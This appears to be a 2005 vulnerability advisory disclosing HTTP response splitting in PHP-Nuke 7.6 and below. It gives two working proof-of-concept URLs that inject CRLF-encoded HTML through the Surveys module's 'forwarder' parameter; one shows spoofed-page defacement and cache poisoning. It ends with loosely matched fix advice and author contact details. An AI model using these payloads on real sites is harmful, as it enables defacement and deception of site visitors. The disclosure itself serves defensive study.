Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
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Severity: High
Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
Date: 15/04/2005
Vendor: Php-Nuke
Vendor Website: http://www.phpnuke.org
Summary: There are, http response splitting vulnerability in php-nuke 7.6 and
below.
Proof of Concept Exploits:
MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT
www.digitalparadox.org/papers.ah
A simple POC can be as follows,
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO
I AM VULNERABLE TO HTTP RESPONSE
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
A more serious version involving Cross user defacement, cache poisoning and
page hijacking can be,
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This
is a spoofed site </title> <body bgcolor=black><font size=10 color=blue>
Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and
can be used for great evils details about which can be read in
http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic
Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at}
hackerscenter [dot] com<font
color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string() and other functions for input validation before
passing user input to the mysql database, or before echoing data on the screen,
would solve these problems.
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Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me
regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon
to come out book on Secure coding with php.